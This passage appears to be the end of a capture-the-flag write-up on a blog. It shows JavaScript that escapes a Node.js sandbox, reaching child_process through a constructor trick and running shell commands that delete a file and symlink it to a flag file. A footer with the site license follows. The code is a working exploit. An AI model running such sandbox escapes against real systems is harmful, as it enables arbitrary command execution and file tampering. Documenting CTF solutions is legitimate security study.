        // inspect.constructor('return process')().mainModule.require('child_process').execSync('rm /app/error.txt;ln -s ../../../flag /app/error.txt').toString();
        inspect.constructor('return process')().mainModule.require('child_process').execSync('rm /app/error.txt;ln -s /flag /app/error.txt');
    },
    valueOf: undefined,
    constructor: undefined,
}

WebAssembly.compileStreaming(obj).catch(()=>{});

Misc

End_of_Programming

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计